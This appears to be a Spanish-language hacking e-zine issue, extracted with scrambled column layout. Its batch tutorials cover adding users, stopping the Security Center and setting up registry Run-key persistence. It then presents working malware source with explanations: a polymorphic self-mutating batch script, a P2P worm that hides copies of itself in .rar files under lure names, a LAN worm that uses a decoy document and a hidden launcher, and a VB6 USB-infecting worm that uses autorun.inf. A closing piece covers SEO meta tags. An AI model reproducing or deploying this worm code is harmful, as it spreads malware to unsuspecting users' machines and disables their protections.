Para iniciar la aplicación de la Calculadora de Windows. mas grupos escribir en la consola: Net localgroup.
Start wab User /add
Para iniciar la aplicación de la Libreta de Direcciones de En lugar de User se pone el usuario al que queremos
Outlook Express. cambiarle los privilegios.
NET STOP para parar la seguridad
El Gran y poderoso Batch Con el NET STOP podemos parar el Firewall o el Centro de
Batch Avanzado , manipulación del registro y del sistema. Seguridad de Windows, entre muchas cosas más. Pero
hora aprenderemos todo lo relacionado a añadir claves al aquí solo explicare como detener la Central de Seguridad.
registro desde un Batch y a utilizar el comando Net mas
profundamente. Código:
Comando Net y su uso en Batch
En este tema aprenderemos a trabajar con el comando Net Stop “Centro de Seguridad”
NET que nos permitirá manejar usuarios, activar y
desactivar opciones de seguridad entre otras muchas Explicación:
cosas.
Añadiendo usuarios. Net Stop “Centro de Seguridad”Con esto paramos la
Aquí utilizaremos el comando NET USER para añadir Central de Seguridad que es la encargada de administrar
usuarios a nuestra PC (no será posible cambiarle o elegir la la seguridad (Firewall's, Antivirus, AntiSpyware), pero no
imagen). Para darle privilegios de administrador a un toda la seguridad porque si el antivirus esta programado
usuario creado hay que ver el tema “NET GROUP y grupos para que la Central no lo monitoree seguirá funcionando.
de usuarios”.
Administración del Registro
Código: Aquí aprenderemos a añadir y borrar claves del registro
usando el comando REG. El registro es algo delicado así
net user Usuario "batch" /add que si se coloca algún código mal podría causar el mal
/expires:never funcionamiento de nuestra PC. Aquí solo se enseñan a
añadir y borrar claves de la carpeta “Run” que es la
Explicación: que arranca todo lo que este añadido en ella al iniciarse
la PC.
net user Usuario "Batch" /addEn la parte donde dice
Usuario es donde se indica el nombre del usuario que
vamos a crear y entre las comillas (la línea “Batch”)
Introducción al Batch 3a Parte CUH e-zine 4ª edición
Archivos al Inicio (Técnica utilizando el registro) editar y así impedimos
Con esto podremos hacer que nuestros Batch se
arranquen al iniciar Windows. Y es más útil que la opción que nos copien el código de nuestro Batch. también hay
de la carpeta del Menu Inicio. compiladores que le cambian el icono. Estas
Las carpetas usadas son carpetas del registro y por lo herramientas nos dan una gran ventaja, además que
tanto se pueden administrar y ver solo con el comando los ejecutables trabajan con cómputos (su código lleva
REG o con el Administrador de Registro (regedit). solo 0 y 1) entonces para hacerlos nos volveríamos
Código: locos.
Reg Add Fast Exe-Batch Maker (De mi amigo Hendrix)
“HKML\Software\Microsoft\Windows\CurrentVersion\Run” Les voy a recomendar el Fast Exe-Batch Maker de mi
/v Nombre /t REG_SZ /d “C:\RutadelBatch.bat” [/f] colega de programación Hendrix, esta muy bueno y les
dejare la primera versión junto con el paquete para que
Explicación: puedan utilizarla en sus batchs.

Reg Add ¿Modo GHOST?


“HKML\Software\Microsoft\Windows\CurrentVersi El modo GHOST es el modo oculto, en los batchs sirve
on\Run” /v Nombre /t REG_SZ /d para que no aparezca la ventanita negra (es útil para los
“C:\RutadelBatch.bat” /f virus). Los compiladores casi todos tienen modo GHOST y
En donde dice Nombre lo substituimos por el nombre que al compilarlos se puede elegir el modo GHOST para
queramos para que aparezca en el Batch y en nuestros Batch (el Fast Exe-Batch Maker tiene compilación
“C:\RutadelBatch.bat” es la ruta y el nombre de el en modo GHOST).
Batch, ej: “C:\Documments and
Settings\Usuario\Mis Documentos\super batch.bat”
Borrando las claves Otras Herramientas
Con el comando REG DELETE les enseñare a borrar un IExpress (Herramienta Windows)
archivo que hayamos añadido al inicio (carpeta “Run”). El IExpress es una herramienta de Windows que permite
Código: crear paquetes
Net delete Quizás se pregunten -¿para qué me sirve a mi un
“HKML\Software\Microsoft\Windows\CurrentVersion\Run” paquete?, pues para que luego de desempaquetar el
Nombre /va [/f] paquete que contenga nuestro Batch, se auto-ejecute, y
Explicación: servirá para crear un Batch semi-ejecutable (al
Net delete desempaquetarlo seguirá siendo Batch) y será de código
“HKML\Software\Microsoft\Windows\CurrentVersi abierto. A continuación mostrare los pasos para utilizar
on\Run” Nombre /va /f nuestro Batch con el IExpress.
En lugar de nombre se pone el nombre que elegimos para Pasos:
la clave.

Herramientas y Curiosidades

Herramientas para mejorar la calidad de nuestros Batch y otras


curiosidades.

De ahora en adelante solo hablaremos de diferentes


herramientas para los batchs así como curiosidades sobre
• Clic en el menu inicio, se elige la opción “Ejecutar”
Batch.
y se escribe “IExpress”(y obvio, se presiona enter)
.
• Elegir la opción “Create new Self Extraction
Compiladores y Lenguajes de Cómputos
Directive File”, con esto se creara un nuevo
paquete.
Con los compiladores podemos hacer que nuestro Batch
(Archivo en lotes MS-Dos) se convierta en un
ejecutable, también como habrán visto el Batch es de • Luego “Extract files only” para poder poner el
código abierto (pones en lugar de abrir, editar y vez el archivo .bat .
código) al convertirlo en ejecutable no se podrá ver ni
Introducción al Batch 3a Parte CUH e-zine 4ª edición
escribir “edit” en la consola, programar nuestro Batch y
• Si pide el titulo poner cualquiera (porque no guardarlo con extensión “.bat”. Para entrar en modo
aparecerá en el paquete). monocromático (Blanco y Negro) escribir: Edit /B.

Por el momento es todo , espero que lo hayan disfrutado y


hasta la próxima edición

Furious Dami

• En la confirmación del prompt, elegir “no prompt”


y en la licencia “Do not display a license”.
• En la parte de PACKAGE FILES, utilizar la opción
“add” y buscar y poner nuestro Batch. Se pueden
poner varios.

• Luego les dara varias opciones, hay que elegir


“Hidden” para que no muestre dialogo de
instalación.
• En la siguiente ventana se elige “no message”.
• En PACKAGE NAME AND OPTIONS seleccionar la
opción “Hide File Extracting Animation from User”
y en la parte de texto colocar el nombre del
archivo de paquete (.sed).

Editor MS-Dos

El Clásico editor
MS-Dos (edit)
que
quizás les
resulte muy
conocido,
también sirve
para crear
nuestros
batchs y es
una

herramienta muy fácil de usar. Para acceder a ella es solo


Técnicas de programación de Scripts CUH e-zine 4ª edición

:cmp %mcmp%
find "m%1"<$>nul %mcmp%
if %errorlevel%==1 ( %mcmp%
set a=%a%o %mcmp%
goto :EOF %mcmp%
) else ( %mcmp%
Técnicas de programación de Scripts
set a=%a%x %mcmp%
goto :EOF %mcmp%
En este tuto se verán algunas técnicas medio- ) %mcmp%
avanzada representadas en códigos fuente :rnd %mrnd%
explicado. Esta pensado para gente que sepa set r=%random:~1,1% %mrnd%
lenguajes script, principalmente “batch”. goto :EOF %mrnd%

1. Polimorfismo El programa cambia la parte del code:

Esta técnica consiste en implementar un tipo de :: %m0%


inteligencia artificial al programa la cual se :: %m1%
:: %m2%
encargara de cambiar partes significativas de su
:: %m3%
mismo código cada ves que este sea ejecutado.
:: %m4%
Es una técnica muy útil y utilizada en la :: %m5%
programación de virus. :: %m6%
:: %m7%
Veremos un ejemplo: :: %m8%
:: %m9%
@echo off %ini%
echo Mutando... %ini% …cada vez que este se ejecuta, de forma
find "ini"<%0>$ %ini% aleatoria, es decir, si el código original es:
:rnd_b %ini%
call :rnd %ini% @echo off %ini%
:buc %ini% echo Mutando... %ini%
find "m%r: =%"<$>nul %ini% find "ini"<%0>$ %ini%
if %errorlevel%==0 goto :tst %ini% :rnd_b %ini%
find "m%r: =%"<%0>>$ %ini% call :rnd %ini%
:tst %ini% :buc %ini%
set a=1 %ini% find "m%r: =%"<$>nul %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini% if %errorlevel%==0 goto :tst %ini%
echo %a%|find "o">nul %ini% find "m%r: =%"<%0>>$ %ini%
if %errorlevel%==0 goto :rnd_b %ini% :tst %ini%
set a1=cmp %ini% set a=1 %ini%
set a2=rnd %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini%
find "m%a1: =%"<%0>>$ %ini% echo %a%|find "o">nul %ini%
find "m%a2: =%"<%0>>$ %ini% if %errorlevel%==0 goto :rnd_b %ini%
type $>%0 %ini% set a1=cmp %ini%
exit %ini% set a2=rnd %ini%
:: CODIGO POLIMORFICO [INICIO] %ini% find "m%a1: =%"<%0>>$ %ini%
:: %m0% find "m%a2: =%"<%0>>$ %ini%
:: %m1% type $>%0 %ini%
:: %m2% exit %ini%
:: %m3% :: CODIGO POLIMORFICO [INICIO] %ini%
:: %m4% :: %m0%
:: %m5% :: %m1%
:: %m6% :: %m2%
:: %m7% :: %m3%
:: %m8% :: %m4%
:: %m9% :: %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
Técnicas de programación de Scripts CUH e-zine 4ª edición
:: %m6% ) else ( %mcmp%
:: %m7% set a=%a%x %mcmp%
:: %m8% goto :EOF %mcmp%
:: %m9%
) %mcmp%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:rnd %mrnd%
:cmp %mcmp%
find "m%1"<$>nul %mcmp% set r=%random:~1,1% %mrnd%
if %errorlevel%==1 ( %mcmp% goto :EOF %mrnd%
set a=%a%o %mcmp%
goto :EOF %mcmp% Ahora la explicacion del code:
) else ( %mcmp%
set a=%a%x %mcmp% ::inicio del code. . .
goto :EOF %mcmp% @echo off %ini%
) %mcmp%
echo Mutando... %ini%
:rnd %mrnd%
::busca la cadena “ini” en el archivo y la manda a
set r=%random:~1,1% %mrnd%
goto :EOF %mrnd% $
find "ini"<%0>$ %ini%
Puede ser que después de ejecutarse quede así: ::llama a la funcion :rnd para generar en %r% un
numero
@echo off %ini% :rnd_b %ini%
echo Mutando... %ini% call :rnd %ini%
find "ini"<%0>$ %ini% ::se busca el %0 (nuestro archivo original) la
:rnd_b %ini% cadena “m+[numero aleatorio generado]”
call :rnd %ini% :buc %ini%
:buc %ini% find "m%r: =%"<$>nul %ini%
find "m%r: =%"<$>nul %ini% ::si se encontro va a la etiqueta :tst
if %errorlevel%==0 goto :tst %ini% if %errorlevel%==0 goto :tst %ini%
find "m%r: =%"<%0>>$ %ini% ::sino busca la cadena en %0 y la guarda en $
:tst %ini% (un archivo temporal)
set a=1 %ini% find "m%r: =%"<%0>>$ %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini% ::la funcion tst es un bucle for que da los
echo %a%|find "o">nul %ini% numeros 0-9 a la funcion cmp
if %errorlevel%==0 goto :rnd_b %ini% :tst %ini%
set a1=cmp %ini% set a=1 %ini%
set a2=rnd %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini%
find "m%a1: =%"<%0>>$ %ini% ::como en la funcion cmp se establece %a%, aki
find "m%a2: =%"<%0>>$ %ini% se busca en la cadena “o” en la variable %a%
type $>%0 %ini% echo %a%|find "o">nul %ini%
exit %ini% ::si la encuentra, regresa a la etiqueta :rnd_b
:: CODIGO POLIMORFICO [INICIO] %ini% if %errorlevel%==0 goto :rnd_b %ini%
:: %m2% ::sino entoncs busca las funciones restantes (las
:: %m3% que estan al final del code) y las mete en $
:: %m9% set a1=cmp %ini%
:: %m4% set a2=rnd %ini%
:: %m7% find "m%a1: =%"<%0>>$ %ini%
:: %m8% find "m%a2: =%"<%0>>$ %ini%
:: %m1% ::escribe todo lo que hay en $ en %0 y sale
:: %m6% type $>%0 %ini%
:: %m0% exit %ini%
:: %m5% ::aki se muestra la seccion poliformica del code
:: CODIGO POLIMORFICO [FIN] %mcmp% :: CODIGO POLIMORFICO [INICIO] %ini%
:cmp %mcmp% :: %m0%
find "m%1"<$>nul %mcmp% :: %m1%
if %errorlevel%==1 ( %mcmp% :: %m2%
set a=%a%o %mcmp% :: %m3%
goto :EOF %mcmp% :: %m4%
Técnicas de programación de Scripts CUH e-zine 4ª edición
:: %m5% toivarec2=ivarec2&toivarec2
:: %m6% toivarec3=ivarec3&toivarec3
:: %m7% toivarec4=ivarec4&toivarec4
:: %m8% toivarec5=ivarec5&toivarec5
:: %m9% toivarec6=ivarec6&toivarec6
:: CODIGO POLIMORFICO [FIN] %mcmp% toivarec7=ivarec7&toivarec7
::la funcion :cmp se encarga de ver que modulos toivarec8=ivarec8&toivarec8
poliformicos (m1, m2, m3, …) ya an sido copiados next
a$ rem Establecemos variables necesarias
:cmp %mcmp% set fso=createobject("scripting.filesystemobject")
find "m%1"<$>nul %mcmp% set
::si el modulo se encuentra ya presente, se fileall=fso.opentextfile(wscript.scriptfullname,1,fal
agrega la cadena “x” a la variable %a%, si no se se)
encuentra, se agrega la cadena “o” rem En la variable “nufile” se encuentra el codigo
if %errorlevel%==1 ( %mcmp% del programa
set a=%a%o %mcmp% nufile=fileall.readall
goto :EOF %mcmp% rem Reemplazamos la cadena “ivarec” por la
) else ( %mcmp% cadena que contiene la variable toivarec2, y asi
set a=%a%x %mcmp% sucesivamente con todas las cadenas que se
goto :EOF %mcmp% quieran reemplazar
) %mcmp%
nufile=replace(nufile,"ivarec",toivarec2)
::genera el numero aleatorio
nufile=replace(nufile,"toivarec",toivarec3)
:rnd %mrnd%
nufile=replace(nufile,"fso",toivarec4)
set r=%random:~1,1% %mrnd%
nufile=replace(nufile,"fileall",toivarec5)
goto :EOF %mrnd%
nufile=replace(nufile,"iaec",toivarec6)
nufile=replace(nufile,"nufile",toivarec7)
Un punto importante a recalcar es que la función
nufile=replace(nufile,"xsiv",toivarec8)
a copiar la identifico poniendo en cada línea que
rem en xsiv esta el archivo listo para escribir
le pertenece una marca de la forma de una
sobre el.
variable . . .
set
Ejemplo: xsiv=fso.opentextfile(wscript.scriptfullname,2,fals
:rnd %mrnd% e)
set r=%random:~1,1% %mrnd% rem escribimos lo que contiene la variable nufile
goto :EOF %mrnd% en nuestro archivo
xsiv.write nufile
Ahora veamos otro ejemplo, algo mas sencillo, rem y cerramos.
hecho en Visual Basic Script:
xsiv.close
Teoria: Generar nombre aleatorios y reemplazar
2. Propagación por clientes P2P e infección
las variables existentes por los nombres
de .rar
generados.
Esta técnica consiste en infectar las carpetas
compartidas de todos los clientes de redes P2P
Randomise
(eMule, Shareaza, BearShare, edonkey y
Rem bucle donde generamos los nombre
limeware [la lista puede ser modificada]) y
aleatorios
archivos .rar dentro de estas, que estén
for iaec=1 to 5
contenidas en la pc victima.
ivarec2=chr(int(20*rnd)+97)
ivarec3=chr(int(20*rnd)+97)
La siguiente función tiene la capacidad de hacer
ivarec4=chr(int(20*rnd)+97)
ivarec5=chr(int(20*rnd)+97)
:p2p
ivarec6=chr(int(20*rnd)+97)
:: Hacemos una comprobacion de archivos (logica
ivarec7=chr(int(20*rnd)+97)
del programa)
ivarec8=chr(int(20*rnd)+97)
if exist %windir%\t.rar (del %windir%\t.rar)
Técnicas de programación de Scripts CUH e-zine 4ª edición
:: Copiamos todo el codigo del programa al )
archive op.bat goto :EOF
type %0>op.bat :: la funcion :fr coge las lista de clientes que se
:: Establecemos en %o% nuestra ruta y nombre encuentra en el archivo yer.t
set o="%systemdrive%%~p0op.bat" :fr
:: Nos posicionamos en la ruta donde fuimos for /F "tokens=* delims=" %%a in
ejecutados (%windir%\yer.t) do (
cd "%systemdrive%%~p0" :: verifica la existencia del cliente en la pc
:: La lista de clientes se va a %windir%\yer.t if exist "%programfiles%\%%a" (
echo eMule\Incoming\ > %windir%\yer.t :: Si el cliente en cuestion esta instalado, cambia
echo Shareaza\Downloads\ >> %windir%\yer.t el directorio local a su directorio
echo BearShare\Shared\ >> %windir%\yer.t cd "%programfiles%\%%a"
echo EDONKEY2000\incoming\ >> :: Por cada .rar
%windir%\yer.t for %%e in (*.rar) do (
echo LimeWire\Shared\ >> %windir%\yer.t :: se copia el mismo al directorio con el mismo
:: La lista de nombres ficticios (señuelos) se va a nombre del .rar
%windir%\jer.t @copy /y %o% "%%~ne.bat"
echo Path_msn_Emoticonos > %windir%\jer.t cls
echo sms_gratis >> %windir%\jer.t ping -n 2 localhost > nul
echo polifonicos_free >> %windir%\jer.t :: se introduce el mismo en el .rar en cuestion
echo Microsoft_Office_2007_all_serials >> %r% a "%%e" "%%~ne.bat"
%windir%\jer.t )
echo Windows_Vista_activation_tool >> :: llama la funcion fr2 usando como primer y
%windir%\jer.t unico parámetro el cliente actual del for
echo Windows_Vista_all_serials >> call :fr2 %%a
%windir%\jer.t )
echo MSN_hack_codes >> %windir%\jer.t )
:: Se establecen las variables que contienen la Pause
información del winrar :: termina la infeccion, eliminando algunos
set rc=1 archivos innecesarios
set r="%programfiles%\WINRAR\WinRAR.exe" cd %windir%
:: Probamos el ejecutable del winrar para estar del *.t
seguros de que el programa esta intalado en la pc cd "%systemdrive%%~p0"
%r% a %windir%\t.rar %o% del op.bat
if not %errorlevel%==9009 set rc=0 goto :EOF
goto fr
:: la funcion fr2 se encarga tomar la lista de
nombres dados para copiarse en los clientes con 3. Propagación por LAN
esos nombre
:fr2 Teoria: Crear carpetas y compartirlas mediante el
set uno=%1 comando “net share”.
:: Toma la lista de nombres
for /F "tokens=* delims=" %%g in @echo off
(%windir%\jer.t) do ( :: Verifica que el programa a sido llamado de
:: si el winrar esta instalado forma oculta
if %rc%==0 ( if '%1==' goto ht
:: Se copia el mismo con el nombre dado en el :: Verifica que existela carpeta de infeccion
cliente actual if exist "%homedrive%\Calificaciones" exit
@copy /y %o% "%%g.bat" :: se crean las variables que contienen los
cls nombres de las carpetas a crear
ping -n 2 localhost > nul set a=Calificaciones
:: Se copia el mismo en archivos .rar con los set b="7mo_grado"
nombres set c="8vo_grado"
%r% a "%%g.rar" "%%g.bat" set d="9no_grado"
) set e="10mo_grado"
Técnicas de programación de Scripts CUH e-zine 4ª edición
set f="11vo_grado"
set g="12vo_grado" La siguiente función toma una cadena de texto y
set i=%homedrive%\ju.ki la invierte de forma que si llegara a tomar la
cd\ cadena “hola” devolvería la cadena “aloh”.
:: Se copia un archivo de restauración
type %0>ju.ki @echo off
:: Se crea la carpeta de infeccion ::Parametros: %1=cadena
mkdir %a% ::Devuelve: %ohce%=cadena invertida
cd %a% :ohce
:: por cada variable que contiene las carpetas a ::Se limpian algunas variables
infectar se crean las carpetas set wrd=
for %%e in (%b% %c% %d% %e% %f% %g%) set ohce=
do mkdir %%e ::verifica que la funcion no a sido llamada con un
:: se manda la lista de las carpetas a un archivo valor nulo
temporal if %1'==' goto er_o
dir /b > %temp%\lst.jkl ::se establece la cadena introducida
:: por cada carpeta en el archivo creado manda la set wrd=%1
información a la funcion :cop set wrd=%wrd:"=cnf%
for /f "tokens=* " %%f in (%temp%\lst.jkl) do ::se llama la funcion :len que devolvera la
call :cop %%f cantidad de caracteres que contiene la cadena
:: se comparte la carpeta de infeccion call :len %wrd%
net share Notas="%homedrive%\Calificaciones" ::se prepara la variable de cantidad
exit set /a len=%len%-1
::se ace un bucle de forma regresiva
:cop for /l %%a in (%len%,-1,0) do (
:: se establece la siguiente carpeta a infectar ::llama la funcion st
set target=%1 call :st %%wrd:~%%a,1%%
cd "%target%" )
:: se copia el mismo en la carpeta a infectar ::se prepara la variable para la salida
type %i%>"notas.cmd" set ohce=%ohce:"=%
:: vuelve a la carpeta de infeccion set ohce=%ohce:fnc="%
cd %homedrive%\%a% echo %ohce%
goto :EOF goto :EOF
:st
:ht ::la funcion st estable el valor de la variable que
:: se crea un archivo .doc que simula la ejecución contiene la cadena invertida
de un documento normal set p1=%1
echo MATERIA > notas.doc set ohce=%ohce%%p1%
echo. >> notas.doc goto :EOF
echo Nombre ^| :len
Calificaciones >> notas.doc ::la funcion :len calcula la cantidad de caracteres
:: se crea un script vbs donde se llama el mismo que contiene la cadena que se le da
en forma oculta ::verifica que la funcion no haya sido llamada con
echo set shell = CreateObject("wscript.shell") > un valor nulo
r.vbs if %1'==' echo La sintaxis es: len [cadena] &&
echo shell.run "cmd /c "%0" vir", vbHide >> r.vbs goto :EOF
:: se ejecuta el vbs ::se establecen algunas variables
start r.vbs set w=%1
:: se ejecuta el documento creado set a=0
start notas.doc set bol=0
exit :lp
::se llama la function cnt
4. Funciones de identificación call :cnt "%%w:~%a%,1%%" %a%
Aki veremos algunas funciones que nos permitirán if %bol%==1 goto :EOF
tener un concepto del uso de varias técnicas set /a a=%a%+1
Técnicas de programación de Scripts CUH e-zine 4ª edición
goto lp
::la funcion cnt se encarga de verificar si la
cadena que le dan es nula, si lo es establece una
variable que parara el el contador
:cnt
set cur=%1
set len=%2
::si la variable es nula, se establece la variable
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
::mensaje de error
echo La sintaxis es: h2d [cadena]
goto :EOF

The Shadow
shadow@el-hacker.org
Infectar unidades USB CUH e-zine 4ª edición

Vamos a utilizar un Timer, y este será el único control


que añadiremos al proyecto. Le dejaremos su nombre
por defecto, y a su propiedad “interval” le daremos
valor: 1000, que serian 1000 milisegundos, lo que
equivale a 1 segundo.

Este es un artículo creado exclusivamente para CUH E-


Zine y se encuentra bajo licencia Creative Commons La función del timer será recorrer las unidades, para
(http://creativecommons.org/licenses/by/3.0). encontrar aquellas que sean removibles o CD’s y sean
de lectura/escritura, y como ultima condición, la
Comencemos viendo algunos aspectos de lo que es función va revisar que la unidad este lista, si todo esto
USB. se cumple, le pasamos el trabajo a otra función…
También vamos a trabajar con el objeto
FileSystemObject, pero lo que haremos será agregarlo
desde las referencias, esto será mejor que el típico “Set
fso = CreateObject(“Scripting.FileSystemObject”)” ya
que este ultimo crea el objeto en tiempo de ejecución,
lo que no nos permitiría comprobar errores hasta la
Pues USB seria teóricamente un puerto de la CPU, su ejecución de la aplicación. Por contrario, al agregarlo
traducción seria Bus Universal de Serie (en ingles seria como referencia, podremos ver en tiempo de diseño las
Universal Serial Bus). Este puerto tiene la capacidad de variadas opciones que ofrece el objeto luego del
conectar, entre otras cosas, unidades de operador punto (.)…
almacenamiento masiva de datos, como son los Para agregar el objeto desde la referencia, nos vamos
PenDriver’s, MP3, MP4, etc. Estas unidades, como bien a: ProyectoReferenciasMicrosoft Scripting Runtime
dije permiten almacenar cosas, por supuesto que en y le damos a “Aceptar”.
ficheros.

Lo que haremos nosotros será infectar esta unidad, así


como se infecta un sistema. La infección en sí es muy
sencilla, solo nos debemos copiar en la unidad. Pero
nuestro fin no es infectar, sino reproducirnos a través
de la infección, y si solo nos copiamos, no podemos
estar seguros que podremos infectar otro sistema.
Ahora si nos ponemos a pensar un poco, los CD’s de
instalación (entre otros) logran ejecutar cierto fichero al
introducir el disco en la compactera (unidad de CD).
Esto se logra gracias al fichero “Autorun.inf”. Este
pequeño amigo corresponde a Windows, y hace que al
ser leído por él ejecute sus sentencias. El fichero
Autorun.inf puede contener varias sentencias pero
nosotros solo utilizaremos una, que nos permitirá
ejecutar un fichero al introducir la unidad en la CPU (es

decir, cuando Windows lea la unidad).

¡Ya basta de hablar, vamos a hacer algo! Debemos,


antes que nada, obtener las unidades:
Infectar unidades USB CUH e-zine 4ª edición
Private Sub Timer1_Timer()
Dim fso As New FileSystemObject
Dim Drv As String
Dim NWDrv
End Sub

La API GetLogicalDriveStrings nos va a devolver todas


las unidades disponibles en el sistema. Antes vamos a
darle un valor a la variable “Drv”, le vamos a dar una
cadena con 100 espacios:

Drv = Space(100)

Ahora vamos a usar la API antes mencionada para


obtener un número entero que corresponderá a las
unidades:

Rt = GetLogicalDriveStrings(Len(Drv), Drv)

Así que en la en la variable Drv vamos a tener las


Ahora ya podemos comenzar a trabajar, nos ubicamos unidades, una al lado de la otra... Pero separadas por
en el evento Timer del Timer1: un símbolo, así que para obtenerlas vamos a hacer un
bucle, el cual aremos de 4 en 4:
Private Sub Timer1_Timer()
For i = 1 To Rt Step 4
End Sub
Next i
Aplicamos el objeto:
Así, utilizando Mid podemos extraer una por una las
Dim fso As New FileSystemObject unidades en su orden correspondiente:
(Como si estuviéramos haciendo la declaración de una
variable normal) Drn = Mid(Drv, i, 3)

Y hasta aquí llegamos… Hasta aquí pudimos obtener la unidad y la


Ahora agregaremos un modulo al proyecto almacenamos en la variable Drn, ya van 3 variables
que no he declarado al principio (i, Rt y Drn), pero lo
haré luego…
Con la API GetDriveType podremos saber el tipo de
unidad al que corresponde la actual (ubicada en la
variable Drn). Si el tipo de unidad es DRIVE_CDROM
(cuyo valor numérico es 5) o DRIVE_REMOVABLE (cuyo
valor numérico es 2), significa que podemos seguir:

If GetDriveType(Drn) = DRIVE_REMOVABLE Or
GetDriveType(Drn) = DRIVE_CDROM Then

End if
y declararemos las siguientes API’s y constantes:
Ahora, si esta condición nos fue favorable, seguiremos,
Public Declare Function GetLogicalDriveStrings Lib y lo que debemos hacer es comprobar si la unidad esta
"kernel32" Alias "GetLogicalDriveStringsA" (ByVal lista para copiar. Para eso primero debemos aplicar la
nBufferLength As Long, ByVal lpBuffer As String) As variable como objeto y luego comprobarlo (observa que
Long al objeto fso le debemos dar la unidad pero no
Public Declare Function GetDriveType Lib "kernel32" completa, con los dos puntos y la barra invertida, sino
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long la letra sola, luego el objeto la devuelve con los dos
Public Const DRIVE_CDROM = 5 puntos, pero sin la barra):
Public Const DRIVE_REMOVABLE = 2
Set Unidad = fso.GetDrive(Left(Drn, 1))
Listo, volvemos al formulario, y vamos a declarar 2 If Unidad.IsReady = True Then
variables mas, la variable “Drv” de tipo String, y la End If
variable “NWDrv” (no le aplicamos ningún tipo)… Así
que el código en el formulario nos quedaría así: Perfecto, hasta aquí estamos bien, si la unidad ubicada
en la variable “Unidad” esta lista, seguimos, y seguimos
pasándole el trabajo a otra función. A esta función la
Infectar unidades USB CUH e-zine 4ª edición
limaremos “InfecDrive” y recibirá como parámetro la
unidad a infectar, la misma se pasara como cadena… Ahora ya podemos modificar el archivo Autorun si es
que existe, si no existe simplemente lo creamos. Ya es
Call InfecDrive(Unidad & “\”) hora de copiarnos, por lo general a la hora de copiar se
utilizan nombres que no llamen mucho la atención,
Así que el código del evento del Timer1 nos quedaría pero mi objetivo no es este, así que yo utilizare un
así: nombre común: “Autorun.exe”:

Private Sub Timer1_Timer() FileCopy App.Path & “\” & App.EXEName & “.exe”, Drve
Dim fso As New FileSystemObject & “\Autorun.exe”
Dim Drv As String
Dim NWDrv Ya estamos sobre el final, nos resta crear el archivo
Autorun.inf, y aplicarle a este y a la copia de nuestra
Drv = Space(100) aplicación atributos de ocultos y solo lectura…
Creamos el Autorun:
Rt = GetLogicalDriveStrings(Len(Drv), Drv)
Open Drve & "autorun.inf" For Output As #1
For i = 1 To Rt Step 4 Print #1, "[Autorun]"
Drn = Mid(Drv, i, 3) Print #1, "Open=autorun.exe"
Close #1
If GetDriveType(Drn) = DRIVE_REMOVABLE Or
GetDriveType(Drn) = DRIVE_CDROM Then Le aplicamos los atributos y listo :
Set Unidad = fso.GetDrive(Left(Drn, 1))
If Unidad.IsReady = True Then SetAttr Drve & "autorun.exe", 1 + 2
Call InfecDrive(Unidad & “\”) SetAttr Drve & "autorun.inf", 1 + 2
End If
End if Así que el código de la función nos quedo así :
Next i
End Sub Private Sub InfecDrive(Drve As String)
If Dir(Drve & "autorun.inf") <> "" Then
Ahora vamos a programar la función que se encargara SetAttr Drve & "autorun.inf", 0
de infectar la unidad, no es nada complicado, solo End If
debemos crear un Autorun programado para ejecutar FileCopy App.Path & “\” & App.EXEName & “.exe”, Drve
nuestra aplicación cada vez que la unidad sea & “\Autorun.exe”
ejecutada, y luego debemos copiarnos en dicha unidad: Open Drve & "autorun.inf" For Output As #1
Print #1, "[Autorun]"
Private Sub InfecDrive(Drve As String) Print #1, "Open=autorun.exe"
Close #1
End Sub SetAttr Drve & "autorun.exe", 1 + 2
SetAttr Drve & "autorun.inf", 1 + 2
End Sub

Veamos, El Autorun.inf siempre se ubica en la raíz de la


unidad en la que se encuentra. Nosotros vamos a Espero les haya servido, cabe recalcar que la infección
utilizar la sentencia “Open”, esta sentencia va seguida de unidades extraíbles para la propagación de gusanos
de un igual (=) y después del signo igual va la ruta de abarca mas de lo que se vio en este articulo, la mayoría
la aplicación a ejecutar. La ruta se toma desde la raíz de los programadores hacen de gran prioridad la
de la unidad, pero no se pone la misma, es decir que si ocultación del gusano dentro de la unidad. Utilizando
nuestra aplicación se encontrara en la raíz de la unidad, métodos avanzados, verdaderamente buenos, con
el Autorun.inf contendrá esto: muchas formas de lograr que el usuario desinfecte su
unidad. Les dejo a todos lo lectores de esta E-Zine un
[AutoRun] cordial saludo y espero que les haya gustado
Open=VIRUS.EXE

El problema con esto, es que casi siempre el archivo AnyDoom


Autorun tiene atributo de oculto y/o solo lectura, esto .
hace que no lo podamos modificar o sustituir por el
nuestro. Así que lo que haremos, será verificar si existe
el archivo Autorun en la raíz de la unidad, y si existe le
vamos a dar atributo “Normal”:

If Dir(Drve & "autorun.inf") <> "" Then


SetAttr Drve & "autorun.inf", 0
End If
La indexación y Tu Dominio CUH e-zine 4ª edición

petición.
Metas Tag
Es muy fácil de usar, en una pagina HTML entre las
tags <HEAD>, tres elementos merecen especial
atención:
Ponemos el titulo, entre las tags <TITLE>. Aparece en
la barra de título de la ventana, pero también, si se da
el caso, como nombre de favoritos. Los motores de
búsqueda le dan en general una importancia capital.
Pon el nombre oficial de tu sitio, así como una breve
descripción con algunas palabras-clave.
La tag<META name="descripción" content="descripción
de su sitio">. Transforma tu título en una frase,
haciendo lo posible para que las palabras clave estén
en buena posición: tienen que ser pocas palabras./li>
la tag<META name="keywords" content="palabra-clave
1; palabra-clave 2">. Ahí escribes tus palabras-clave
en el órden de importancia; utiliza sinónimos pero evita
repetir las mismas palabras más de 7 veces (sin ir más
allá de las 1000 letras)
<title>EL-Hacker foro de hacking y seguridad
Informática</title>
Hola bueno, hoy vamos a hablar de las cosas que <meta name="description" content="Foro de discusión
debemos saber sobre la indexación… general donde aprenderás conocimientos de informática
Cuando hacemos una búsqueda por ej: Google, cuantas y divertirte haciendo amigos.">
veces pasamos a la segunda pagina? Y esa repuesta es <meta name="keywords" content=" descargas full,
muy pocas y es a si es muy difícil que un internauta se gratis, herramientas hack (y puedes agregarle mas a tu
tome esa molestia de ir a la otra pagina. Si queres criterio)">
tener visitas, es primordial figurar en buena posición en Recuerda!!! Los trucos que veas por Internet de cómo
los principales anuarios. engañar a los buscadores para tener mas visitas no
funcionan y puede irte en contra ya que si ej: google
descubre la farsa puede castigarte sacándote la
indexación.

Otro consejo; cuando queremos que nuestro sitio sea


